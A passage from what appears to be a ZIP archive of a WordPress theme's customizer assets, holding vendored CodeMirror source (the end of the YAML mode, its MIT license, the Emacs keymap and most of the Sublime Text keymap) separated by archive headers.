        state.pairStart = false;
        /* document start */
        if(stream.match(/---/)) { return "def"; }
        /* document end */
        if (stream.match(/\.\.\./)) { return "def"; }
        /* array list item */
        if (stream.match(/\s*-\s+/)) { return 'meta'; }
      }
      /* inline pairs/lists */
      if (stream.match(/^(\{|\}|\[|\])/)) {
        if (ch == '{')
          state.inlinePairs++;
        else if (ch == '}')
          state.inlinePairs--;
        else if (ch == '[')
          state.inlineList++;
        else
          state.inlineList--;
        return 'meta';
      }

      /* list seperator */
      if (state.inlineList > 0 && !esc && ch == ',') {
        stream.next();
        return 'meta';
      }
      /* pairs seperator */
      if (state.inlinePairs > 0 && !esc && ch == ',') {
        state.keyCol = 0;
        state.pair = false;
        state.pairStart = false;
        stream.next();
        return 'meta';
      }

      /* start of value of a pair */
      if (state.pairStart) {
        /* block literals */
        if (stream.match(/^\s*(\||\>)\s*/)) { state.literal = true; return 'meta'; };
        /* references */
        if (stream.match(/^\s*(\&|\*)[a-z0-9\._-]+\b/i)) { return 'variable-2'; }
        /* numbers */
        if (state.inlinePairs == 0 && stream.match(/^\s*-?[0-9\.\,]+\s?$/)) { return 'number'; }
        if (state.inlinePairs > 0 && stream.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/)) { return 'number'; }
        /* keywords */
        if (stream.match(keywordRegex)) { return 'keyword'; }
      }

      /* pairs (associative arrays) -> key */
      if (!state.pair && stream.match(/^\s*(?:[,\[\]{}&*!|>'"%@`][^\s'":]|[^,\[\]{}#&*!|>'"%@`])[^#]*?(?=\s*:($|\s))/)) {
        state.pair = true;
        state.keyCol = stream.indentation();
        return "atom";
      }
      if (state.pair && stream.match(/^:\s*/)) { state.pairStart = true; return 'meta'; }

      /* nothing found, continue */
      state.pairStart = false;
      state.escaped = (ch == '\\');
      stream.next();
      return null;
    },
    startState: function() {
      return {
        pair: false,
        pairStart: false,
        keyCol: 0,
        inlinePairs: 0,
        inlineList: 0,
        literal: false,
        escaped: false
      };
    }
  };
});

CodeMirror.defineMIME("text/x-yaml", "yaml");

});
PK     N\+wzF  F  <  inc/customizer/framework/assets/js/vendor/codemirror/LICENSEnu [        Copyright (C) 2015 by Marijn Haverbeke <marijnh@gmail.com> and others

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK     N\-4  4  D  inc/customizer/framework/assets/js/vendor/codemirror/keymap/emacs.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  // Kill 'ring'

  var killRing = [];
  function addToRing(str) {
    killRing.push(str);
    if (killRing.length > 50) killRing.shift();
  }
  function growRingTop(str) {
    if (!killRing.length) return addToRing(str);
    killRing[killRing.length - 1] += str;
  }
  function getFromRing(n) { return killRing[killRing.length - (n ? Math.min(n, 1) : 1)] || ""; }
  function popFromRing() { if (killRing.length > 1) killRing.pop(); return getFromRing(); }

  var lastKill = null;

  function kill(cm, from, to, mayGrow, text) {
    if (text == null) text = cm.getRange(from, to);

    if (mayGrow && lastKill && lastKill.cm == cm && posEq(from, lastKill.pos) && cm.isClean(lastKill.gen))
      growRingTop(text);
    else
      addToRing(text);
    cm.replaceRange("", from, to, "+delete");

    if (mayGrow) lastKill = {cm: cm, pos: from, gen: cm.changeGeneration()};
    else lastKill = null;
  }

  // Boundaries of various units

  function byChar(cm, pos, dir) {
    return cm.findPosH(pos, dir, "char", true);
  }

  function byWord(cm, pos, dir) {
    return cm.findPosH(pos, dir, "word", true);
  }

  function byLine(cm, pos, dir) {
    return cm.findPosV(pos, dir, "line", cm.doc.sel.goalColumn);
  }

  function byPage(cm, pos, dir) {
    return cm.findPosV(pos, dir, "page", cm.doc.sel.goalColumn);
  }

  function byParagraph(cm, pos, dir) {
    var no = pos.line, line = cm.getLine(no);
    var sawText = /\S/.test(dir < 0 ? line.slice(0, pos.ch) : line.slice(pos.ch));
    var fst = cm.firstLine(), lst = cm.lastLine();
    for (;;) {
      no += dir;
      if (no < fst || no > lst)
        return cm.clipPos(Pos(no - dir, dir < 0 ? 0 : null));
      line = cm.getLine(no);
      var hasText = /\S/.test(line);
      if (hasText) sawText = true;
      else if (sawText) return Pos(no, 0);
    }
  }

  function bySentence(cm, pos, dir) {
    var line = pos.line, ch = pos.ch;
    var text = cm.getLine(pos.line), sawWord = false;
    for (;;) {
      var next = text.charAt(ch + (dir < 0 ? -1 : 0));
      if (!next) { // End/beginning of line reached
        if (line == (dir < 0 ? cm.firstLine() : cm.lastLine())) return Pos(line, ch);
        text = cm.getLine(line + dir);
        if (!/\S/.test(text)) return Pos(line, ch);
        line += dir;
        ch = dir < 0 ? text.length : 0;
        continue;
      }
      if (sawWord && /[!?.]/.test(next)) return Pos(line, ch + (dir > 0 ? 1 : 0));
      if (!sawWord) sawWord = /\w/.test(next);
      ch += dir;
    }
  }

  function byExpr(cm, pos, dir) {
    var wrap;
    if (cm.findMatchingBracket && (wrap = cm.findMatchingBracket(pos, true))
        && wrap.match && (wrap.forward ? 1 : -1) == dir)
      return dir > 0 ? Pos(wrap.to.line, wrap.to.ch + 1) : wrap.to;

    for (var first = true;; first = false) {
      var token = cm.getTokenAt(pos);
      var after = Pos(pos.line, dir < 0 ? token.start : token.end);
      if (first && dir > 0 && token.end == pos.ch || !/\w/.test(token.string)) {
        var newPos = cm.findPosH(after, dir, "char");
        if (posEq(after, newPos)) return pos;
        else pos = newPos;
      } else {
        return after;
      }
    }
  }

  // Prefixes (only crudely supported)

  function getPrefix(cm, precise) {
    var digits = cm.state.emacsPrefix;
    if (!digits) return precise ? null : 1;
    clearPrefix(cm);
    return digits == "-" ? -1 : Number(digits);
  }

  function repeated(cmd) {
    var f = typeof cmd == "string" ? function(cm) { cm.execCommand(cmd); } : cmd;
    return function(cm) {
      var prefix = getPrefix(cm);
      f(cm);
      for (var i = 1; i < prefix; ++i) f(cm);
    };
  }

  function findEnd(cm, pos, by, dir) {
    var prefix = getPrefix(cm);
    if (prefix < 0) { dir = -dir; prefix = -prefix; }
    for (var i = 0; i < prefix; ++i) {
      var newPos = by(cm, pos, dir);
      if (posEq(newPos, pos)) break;
      pos = newPos;
    }
    return pos;
  }

  function move(by, dir) {
    var f = function(cm) {
      cm.extendSelection(findEnd(cm, cm.getCursor(), by, dir));
    };
    f.motion = true;
    return f;
  }

  function killTo(cm, by, dir) {
    var selections = cm.listSelections(), cursor;
    var i = selections.length;
    while (i--) {
      cursor = selections[i].head;
      kill(cm, cursor, findEnd(cm, cursor, by, dir), true);
    }
  }

  function killRegion(cm) {
    if (cm.somethingSelected()) {
      var selections = cm.listSelections(), selection;
      var i = selections.length;
      while (i--) {
        selection = selections[i];
        kill(cm, selection.anchor, selection.head);
      }
      return true;
    }
  }

  function addPrefix(cm, digit) {
    if (cm.state.emacsPrefix) {
      if (digit != "-") cm.state.emacsPrefix += digit;
      return;
    }
    // Not active yet
    cm.state.emacsPrefix = digit;
    cm.on("keyHandled", maybeClearPrefix);
    cm.on("inputRead", maybeDuplicateInput);
  }

  var prefixPreservingKeys = {"Alt-G": true, "Ctrl-X": true, "Ctrl-Q": true, "Ctrl-U": true};

  function maybeClearPrefix(cm, arg) {
    if (!cm.state.emacsPrefixMap && !prefixPreservingKeys.hasOwnProperty(arg))
      clearPrefix(cm);
  }

  function clearPrefix(cm) {
    cm.state.emacsPrefix = null;
    cm.off("keyHandled", maybeClearPrefix);
    cm.off("inputRead", maybeDuplicateInput);
  }

  function maybeDuplicateInput(cm, event) {
    var dup = getPrefix(cm);
    if (dup > 1 && event.origin == "+input") {
      var one = event.text.join("\n"), txt = "";
      for (var i = 1; i < dup; ++i) txt += one;
      cm.replaceSelection(txt);
    }
  }

  function addPrefixMap(cm) {
    cm.state.emacsPrefixMap = true;
    cm.addKeyMap(prefixMap);
    cm.on("keyHandled", maybeRemovePrefixMap);
    cm.on("inputRead", maybeRemovePrefixMap);
  }

  function maybeRemovePrefixMap(cm, arg) {
    if (typeof arg == "string" && (/^\d$/.test(arg) || arg == "Ctrl-U")) return;
    cm.removeKeyMap(prefixMap);
    cm.state.emacsPrefixMap = false;
    cm.off("keyHandled", maybeRemovePrefixMap);
    cm.off("inputRead", maybeRemovePrefixMap);
  }

  // Utilities

  function setMark(cm) {
    cm.setCursor(cm.getCursor());
    cm.setExtending(!cm.getExtending());
    cm.on("change", function() { cm.setExtending(false); });
  }

  function clearMark(cm) {
    cm.setExtending(false);
    cm.setCursor(cm.getCursor());
  }

  function getInput(cm, msg, f) {
    if (cm.openDialog)
      cm.openDialog(msg + ": <input type=\"text\" style=\"width: 10em\"/>", f, {bottom: true});
    else
      f(prompt(msg, ""));
  }

  function operateOnWord(cm, op) {
    var start = cm.getCursor(), end = cm.findPosH(start, 1, "word");
    cm.replaceRange(op(cm.getRange(start, end)), start, end);
    cm.setCursor(end);
  }

  function toEnclosingExpr(cm) {
    var pos = cm.getCursor(), line = pos.line, ch = pos.ch;
    var stack = [];
    while (line >= cm.firstLine()) {
      var text = cm.getLine(line);
      for (var i = ch == null ? text.length : ch; i > 0;) {
        var ch = text.charAt(--i);
        if (ch == ")")
          stack.push("(");
        else if (ch == "]")
          stack.push("[");
        else if (ch == "}")
          stack.push("{");
        else if (/[\(\{\[]/.test(ch) && (!stack.length || stack.pop() != ch))
          return cm.extendSelection(Pos(line, i));
      }
      --line; ch = null;
    }
  }

  function quit(cm) {
    cm.execCommand("clearSearch");
    clearMark(cm);
  }

  // Actual keymap

  var keyMap = CodeMirror.keyMap.emacs = CodeMirror.normalizeKeyMap({
    "Ctrl-W": function(cm) {kill(cm, cm.getCursor("start"), cm.getCursor("end"));},
    "Ctrl-K": repeated(function(cm) {
      var start = cm.getCursor(), end = cm.clipPos(Pos(start.line));
      var text = cm.getRange(start, end);
      if (!/\S/.test(text)) {
        text += "\n";
        end = Pos(start.line + 1, 0);
      }
      kill(cm, start, end, true, text);
    }),
    "Alt-W": function(cm) {
      addToRing(cm.getSelection());
      clearMark(cm);
    },
    "Ctrl-Y": function(cm) {
      var start = cm.getCursor();
      cm.replaceRange(getFromRing(getPrefix(cm)), start, start, "paste");
      cm.setSelection(start, cm.getCursor());
    },
    "Alt-Y": function(cm) {cm.replaceSelection(popFromRing(), "around", "paste");},

    "Ctrl-Space": setMark, "Ctrl-Shift-2": setMark,

    "Ctrl-F": move(byChar, 1), "Ctrl-B": move(byChar, -1),
    "Right": move(byChar, 1), "Left": move(byChar, -1),
    "Ctrl-D": function(cm) { killTo(cm, byChar, 1); },
    "Delete": function(cm) { killRegion(cm) || killTo(cm, byChar, 1); },
    "Ctrl-H": function(cm) { killTo(cm, byChar, -1); },
    "Backspace": function(cm) { killRegion(cm) || killTo(cm, byChar, -1); },

    "Alt-F": move(byWord, 1), "Alt-B": move(byWord, -1),
    "Alt-D": function(cm) { killTo(cm, byWord, 1); },
    "Alt-Backspace": function(cm) { killTo(cm, byWord, -1); },

    "Ctrl-N": move(byLine, 1), "Ctrl-P": move(byLine, -1),
    "Down": move(byLine, 1), "Up": move(byLine, -1),
    "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
    "End": "goLineEnd", "Home": "goLineStart",

    "Alt-V": move(byPage, -1), "Ctrl-V": move(byPage, 1),
    "PageUp": move(byPage, -1), "PageDown": move(byPage, 1),

    "Ctrl-Up": move(byParagraph, -1), "Ctrl-Down": move(byParagraph, 1),

    "Alt-A": move(bySentence, -1), "Alt-E": move(bySentence, 1),
    "Alt-K": function(cm) { killTo(cm, bySentence, 1); },

    "Ctrl-Alt-K": function(cm) { killTo(cm, byExpr, 1); },
    "Ctrl-Alt-Backspace": function(cm) { killTo(cm, byExpr, -1); },
    "Ctrl-Alt-F": move(byExpr, 1), "Ctrl-Alt-B": move(byExpr, -1),

    "Shift-Ctrl-Alt-2": function(cm) {
      var cursor = cm.getCursor();
      cm.setSelection(findEnd(cm, cursor, byExpr, 1), cursor);
    },
    "Ctrl-Alt-T": function(cm) {
      var leftStart = byExpr(cm, cm.getCursor(), -1), leftEnd = byExpr(cm, leftStart, 1);
      var rightEnd = byExpr(cm, leftEnd, 1), rightStart = byExpr(cm, rightEnd, -1);
      cm.replaceRange(cm.getRange(rightStart, rightEnd) + cm.getRange(leftEnd, rightStart) +
                      cm.getRange(leftStart, leftEnd), leftStart, rightEnd);
    },
    "Ctrl-Alt-U": repeated(toEnclosingExpr),

    "Alt-Space": function(cm) {
      var pos = cm.getCursor(), from = pos.ch, to = pos.ch, text = cm.getLine(pos.line);
      while (from && /\s/.test(text.charAt(from - 1))) --from;
      while (to < text.length && /\s/.test(text.charAt(to))) ++to;
      cm.replaceRange(" ", Pos(pos.line, from), Pos(pos.line, to));
    },
    "Ctrl-O": repeated(function(cm) { cm.replaceSelection("\n", "start"); }),
    "Ctrl-T": repeated(function(cm) {
      cm.execCommand("transposeChars");
    }),

    "Alt-C": repeated(function(cm) {
      operateOnWord(cm, function(w) {
        var letter = w.search(/\w/);
        if (letter == -1) return w;
        return w.slice(0, letter) + w.charAt(letter).toUpperCase() + w.slice(letter + 1).toLowerCase();
      });
    }),
    "Alt-U": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toUpperCase(); });
    }),
    "Alt-L": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toLowerCase(); });
    }),

    "Alt-;": "toggleComment",

    "Ctrl-/": repeated("undo"), "Shift-Ctrl--": repeated("undo"),
    "Ctrl-Z": repeated("undo"), "Cmd-Z": repeated("undo"),
    "Shift-Alt-,": "goDocStart", "Shift-Alt-.": "goDocEnd",
    "Ctrl-S": "findNext", "Ctrl-R": "findPrev", "Ctrl-G": quit, "Shift-Alt-5": "replace",
    "Alt-/": "autocomplete",
    "Ctrl-J": "newlineAndIndent", "Enter": false, "Tab": "indentAuto",

    "Alt-G G": function(cm) {
      var prefix = getPrefix(cm, true);
      if (prefix != null && prefix > 0) return cm.setCursor(prefix - 1);

      getInput(cm, "Goto line", function(str) {
        var num;
        if (str && !isNaN(num = Number(str)) && num == (num|0) && num > 0)
          cm.setCursor(num - 1);
      });
    },

    "Ctrl-X Tab": function(cm) {
      cm.indentSelection(getPrefix(cm, true) || cm.getOption("indentUnit"));
    },
    "Ctrl-X Ctrl-X": function(cm) {
      cm.setSelection(cm.getCursor("head"), cm.getCursor("anchor"));
    },
    "Ctrl-X Ctrl-S": "save",
    "Ctrl-X Ctrl-W": "save",
    "Ctrl-X S": "saveAll",
    "Ctrl-X F": "open",
    "Ctrl-X U": repeated("undo"),
    "Ctrl-X K": "close",
    "Ctrl-X Delete": function(cm) { kill(cm, cm.getCursor(), bySentence(cm, cm.getCursor(), 1), true); },
    "Ctrl-X H": "selectAll",

    "Ctrl-Q Tab": repeated("insertTab"),
    "Ctrl-U": addPrefixMap
  });

  var prefixMap = {"Ctrl-G": clearPrefix};
  function regPrefix(d) {
    prefixMap[d] = function(cm) { addPrefix(cm, d); };
    keyMap["Ctrl-" + d] = function(cm) { addPrefix(cm, d); };
    prefixPreservingKeys["Ctrl-" + d] = true;
  }
  for (var i = 0; i < 10; ++i) regPrefix(String(i));
  regPrefix("-");
});
PK     N\57XnS  nS  F  inc/customizer/framework/assets/js/vendor/codemirror/keymap/sublime.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// A rough approximation of Sublime Text's keybindings
// Depends on addon/search/searchcursor.js and optionally addon/dialog/dialogs.js

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"), require("../addon/search/searchcursor"), require("../addon/edit/matchbrackets"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror", "../addon/search/searchcursor", "../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var map = CodeMirror.keyMap.sublime = {fallthrough: "default"};
  var cmds = CodeMirror.commands;
  var Pos = CodeMirror.Pos;
  var mac = CodeMirror.keyMap["default"] == CodeMirror.keyMap.macDefault;
  var ctrl = mac ? "Cmd-" : "Ctrl-";

  // This is not exactly Sublime's algorithm. I couldn't make heads or tails of that.
  function findPosSubword(doc, start, dir) {
    if (dir < 0 && start.ch == 0) return doc.clipPos(Pos(start.line - 1));
    var line = doc.getLine(start.line);
    if (dir > 0 && start.ch >= line.length) return doc.clipPos(Pos(start.line + 1, 0));
    var state = "start", type;
    for (var pos = start.ch, e = dir < 0 ? 0 : line.length, i = 0; pos != e; pos += dir, i++) {
      var next = line.charAt(dir < 0 ? pos - 1 : pos);
      var cat = next != "_" && CodeMirror.isWordChar(next) ? "w" : "o";
      if (cat == "w" && next.toUpperCase() == next) cat = "W";
      if (state == "start") {
        if (cat != "o") { state = "in"; type = cat; }
      } else if (state == "in") {
        if (type != cat) {
          if (type == "w" && cat == "W" && dir < 0) pos--;
          if (type == "W" && cat == "w" && dir > 0) { type = "w"; continue; }
          break;
        }
      }
    }
    return Pos(start.line, pos);
  }

  function moveSubword(cm, dir) {
    cm.extendSelectionsBy(function(range) {
      if (cm.display.shift || cm.doc.extend || range.empty())
        return findPosSubword(cm.doc, range.head, dir);
      else
        return dir < 0 ? range.from() : range.to();
    });
  }

  cmds[map["Alt-Left"] = "goSubwordLeft"] = function(cm) { moveSubword(cm, -1); };
  cmds[map["Alt-Right"] = "goSubwordRight"] = function(cm) { moveSubword(cm, 1); };

  var scrollLineCombo = mac ? "Ctrl-Alt-" : "Ctrl-";

  cmds[map[scrollLineCombo + "Up"] = "scrollLineUp"] = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleBottomLine = cm.lineAtHeight(info.top + info.clientHeight, "local");
      if (cm.getCursor().line >= visibleBottomLine)
        cm.execCommand("goLineUp");
    }
    cm.scrollTo(null, info.top - cm.defaultTextHeight());
  };
  cmds[map[scrollLineCombo + "Down"] = "scrollLineDown"] = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleTopLine = cm.lineAtHeight(info.top, "local")+1;
      if (cm.getCursor().line <= visibleTopLine)
        cm.execCommand("goLineDown");
    }
    cm.scrollTo(null, info.top + cm.defaultTextHeight());
  };

  cmds[map["Shift-" + ctrl + "L"] = "splitSelectionByLine"] = function(cm) {
    var ranges = cm.listSelections(), lineRanges = [];
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      for (var line = from.line; line <= to.line; ++line)
        if (!(to.line > from.line && line == to.line && to.ch == 0))
          lineRanges.push({anchor: line == from.line ? from : Pos(line, 0),
                           head: line == to.line ? to : Pos(line)});
    }
    cm.setSelections(lineRanges, 0);
  };

  map["Shift-Tab"] = "indentLess";

  cmds[map["Esc"] = "singleSelectionTop"] = function(cm) {
    var range = cm.listSelections()[0];
    cm.setSelection(range.anchor, range.head, {scroll: false});
  };

  cmds[map[ctrl + "L"] = "selectLine"] = function(cm) {
    var ranges = cm.listSelections(), extended = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      extended.push({anchor: Pos(range.from().line, 0),
                     head: Pos(range.to().line + 1, 0)});
    }
    cm.setSelections(extended);
  };

  map["Shift-" + ctrl + "K"] = "deleteLine";

  function insertLine(cm, above) {
    cm.operation(function() {
      var len = cm.listSelections().length, newSelection = [], last = -1;
      for (var i = 0; i < len; i++) {
        var head = cm.listSelections()[i].head;
        if (head.line <= last) continue;
        var at = Pos(head.line + (above ? 0 : 1), 0);
        cm.replaceRange("\n", at, null, "+insertLine");
        cm.indentLine(at.line, null, true);
        newSelection.push({head: at, anchor: at});
        last = head.line + 1;
      }
      cm.setSelections(newSelection);
    });
  }

  cmds[map[ctrl + "Enter"] = "insertLineAfter"] = function(cm) { insertLine(cm, false); };

  cmds[map["Shift-" + ctrl + "Enter"] = "insertLineBefore"] = function(cm) { insertLine(cm, true); };

  function wordAt(cm, pos) {
    var start = pos.ch, end = start, line = cm.getLine(pos.line);
    while (start && CodeMirror.isWordChar(line.charAt(start - 1))) --start;
    while (end < line.length && CodeMirror.isWordChar(line.charAt(end))) ++end;
    return {from: Pos(pos.line, start), to: Pos(pos.line, end), word: line.slice(start, end)};
  }

  cmds[map[ctrl + "D"] = "selectNextOccurrence"] = function(cm) {
    var from = cm.getCursor("from"), to = cm.getCursor("to");
    var fullWord = cm.state.sublimeFindFullWord == cm.doc.sel;
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      cm.setSelection(word.from, word.to);
      fullWord = true;
    } else {
      var text = cm.getRange(from, to);
      var query = fullWord ? new RegExp("\\b" + text + "\\b") : text;
      var cur = cm.getSearchCursor(query, to);
      if (cur.findNext()) {
        cm.addSelection(cur.from(), cur.to());
      } else {
        cur = cm.getSearchCursor(query, Pos(cm.firstLine(), 0));
        if (cur.findNext())
          cm.addSelection(cur.from(), cur.to());
      }
    }
    if (fullWord)
      cm.state.sublimeFindFullWord = cm.doc.sel;
  };

  var mirror = "(){}[]";
  function selectBetweenBrackets(cm) {
    var pos = cm.getCursor(), opening = cm.scanForBracket(pos, -1);
    if (!opening) return;
    for (;;) {
      var closing = cm.scanForBracket(pos, 1);
      if (!closing) return;
      if (closing.ch == mirror.charAt(mirror.indexOf(opening.ch) + 1)) {
        cm.setSelection(Pos(opening.pos.line, opening.pos.ch + 1), closing.pos, false);
        return true;
      }
      pos = Pos(closing.pos.line, closing.pos.ch + 1);
    }
  }

  cmds[map["Shift-" + ctrl + "Space"] = "selectScope"] = function(cm) {
    selectBetweenBrackets(cm) || cm.execCommand("selectAll");
  };
  cmds[map["Shift-" + ctrl + "M"] = "selectBetweenBrackets"] = function(cm) {
    if (!selectBetweenBrackets(cm)) return CodeMirror.Pass;
  };

  cmds[map[ctrl + "M"] = "goToBracket"] = function(cm) {
    cm.extendSelectionsBy(function(range) {
      var next = cm.scanForBracket(range.head, 1);
      if (next && CodeMirror.cmpPos(next.pos, range.head) != 0) return next.pos;
      var prev = cm.scanForBracket(range.head, -1);
      return prev && Pos(prev.pos.line, prev.pos.ch + 1) || range.head;
    });
  };

  var swapLineCombo = mac ? "Cmd-Ctrl-" : "Shift-Ctrl-";

  cmds[map[swapLineCombo + "Up"] = "swapLineUp"] = function(cm) {
    var ranges = cm.listSelections(), linesToMove = [], at = cm.firstLine() - 1, newSels = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from().line - 1, to = range.to().line;
      newSels.push({anchor: Pos(range.anchor.line - 1, range.anchor.ch),
                    head: Pos(range.head.line - 1, range.head.ch)});
      if (range.to().ch == 0 && !range.empty()) --to;
      if (from > at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] = to;
      at = to;
    }
    cm.operation(function() {
      for (var i = 0; i < linesToMove.length; i += 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0), "+swapLine");
        if (to > cm.lastLine())
          cm.replaceRange("\n" + line, Pos(cm.lastLine()), null, "+swapLine");
        else
          cm.replaceRange(line + "\n", Pos(to, 0), null, "+swapLine");
      }
      cm.setSelections(newSels);
      cm.scrollIntoView();
    });
  };

  cmds[map[swapLineCombo + "Down"] = "swapLineDown"] = function(cm) {
    var ranges = cm.listSelections(), linesToMove = [], at = cm.lastLine() + 1;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var range = ranges[i], from = range.to().line + 1, to = range.from().line;
      if (range.to().ch == 0 && !range.empty()) from--;
      if (from < at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] = to;
      at = to;
    }
    cm.operation(function() {
      for (var i = linesToMove.length - 2; i >= 0; i -= 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        if (from == cm.lastLine())
          cm.replaceRange("", Pos(from - 1), Pos(from), "+swapLine");
        else
          cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0), "+swapLine");
        cm.replaceRange(line + "\n", Pos(to, 0), null, "+swapLine");
      }
      cm.scrollIntoView();
    });
  };

  map[ctrl + "/"] = function(cm) {
    cm.toggleComment({ indent: true });
  }

  cmds[map[ctrl + "J"] = "joinLines"] = function(cm) {
    var ranges = cm.listSelections(), joined = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from();
      var start = from.line, end = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line == end)
        end = ranges[++i].to().line;
      joined.push({start: start, end: end, anchor: !range.empty() && from});
    }
    cm.operation(function() {
      var offset = 0, ranges = [];
      for (var i = 0; i < joined.length; i++) {
        var obj = joined[i];
        var anchor = obj.anchor && Pos(obj.anchor.line - offset, obj.anchor.ch), head;
        for (var line = obj.start; line <= obj.end; line++) {
          var actual = line - offset;
          if (line == obj.end) head = Pos(actual, cm.getLine(actual).length + 1);
          if (actual < cm.lastLine()) {
            cm.replaceRange(" ", Pos(actual), Pos(actual + 1, /^\s*/.exec(cm.getLine(actual + 1))[0].length));
            ++offset;
          }
        }
        ranges.push({anchor: anchor || head, head: head});
      }
      cm.setSelections(ranges, 0);
    });
  };

  cmds[map["Shift-" + ctrl + "D"] = "duplicateLine"] = function(cm) {
    cm.operation(function() {
      var rangeCount = cm.listSelections().length;
      for (var i = 0; i < rangeCount; i++) {
        var range = cm.listSelections()[i];
        if (range.empty())
          cm.replaceRange(cm.getLine(range.head.line) + "\n", Pos(range.head.line, 0));
        else
          cm.replaceRange(cm.getRange(range.from(), range.to()), range.from());
      }
      cm.scrollIntoView();
    });
  };

  map[ctrl + "T"] = "transposeChars";

  function sortLines(cm, caseSensitive) {
    var ranges = cm.listSelections(), toSort = [], selected;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      if (range.empty()) continue;
      var from = range.from().line, to = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line == to)
        to = range[++i].to().line;
      toSort.push(from, to);
    }
    if (toSort.length) selected = true;
    else toSort.push(cm.firstLine(), cm.lastLine());

    cm.operation(function() {
      var ranges = [];
      for (var i = 0; i < toSort.length; i += 2) {
        var from = toSort[i], to = toSort[i + 1];
        var start = Pos(from, 0), end = Pos(to);
        var lines = cm.getRange(start, end, false);
        if (caseSensitive)
          lines.sort();
        else
          lines.sort(function(a, b) {
            var au = a.toUpperCase(), bu = b.toUpperCase();
            if (au != bu) { a = au; b = bu; }
            return a < b ? -1 : a == b ? 0 : 1;
          });
        cm.replaceRange(lines, start, end);
        if (selected) ranges.push({anchor: start, head: end});
      }
      if (selected) cm.setSelections(ranges, 0);
    });
  }

  cmds[map["F9"] = "sortLines"] = function(cm) { sortLines(cm, true); };
  cmds[map[ctrl + "F9"] = "sortLinesInsensitive"] = function(cm) { sortLines(cm, false); };

  cmds[map["F2"] = "nextBookmark"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      var current = marks.shift();
      var found = current.find();
      if (found) {
        marks.push(current);
        return cm.setSelection(found.from, found.to);
      }
    }
  };

  cmds[map["Shift-F2"] = "prevBookmark"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      marks.unshift(marks.pop());
      var found = marks[marks.length - 1].find();
      if (!found)
        marks.pop();
      else
        return cm.setSelection(found.from, found.to);
    }
  };

  cmds[map[ctrl + "F2"] = "toggleBookmark"] = function(cm) {
    var ranges = cm.listSelections();
    var marks = cm.state.sublimeBookmarks || (cm.state.sublimeBookmarks = []);
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      var found = cm.findMarks(from, to);
      for (var j = 0; j < found.length; j++) {
        if (found[j].sublimeBookmark) {
          found[j].clear();
          for (var k = 0; k < marks.length; k++)
            if (marks[k] == found[j])
              marks.splice(k--, 1);
          break;
        }
      }
      if (j == found.length)
        marks.push(cm.markText(from, to, {sublimeBookmark: true, clearWhenEmpty: false}));
    }
  };

  cmds[map["Shift-" + ctrl + "F2"] = "clearBookmarks"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) for (var i = 0; i < marks.length; i++) marks[i].clear();
    marks.length = 0;
  };

  cmds[map["Alt-F2"] = "selectBookmarks"] = function(cm) {
    var marks = cm.state.sublimeBookmarks, ranges = [];
    if (marks) for (var i = 0; i < marks.length; i++) {
      var found = marks[i].find();
      if (!found)
        marks.splice(i--, 0);
      else
        ranges.push({anchor: found.from, head: found.to});
    }
    if (ranges.length)
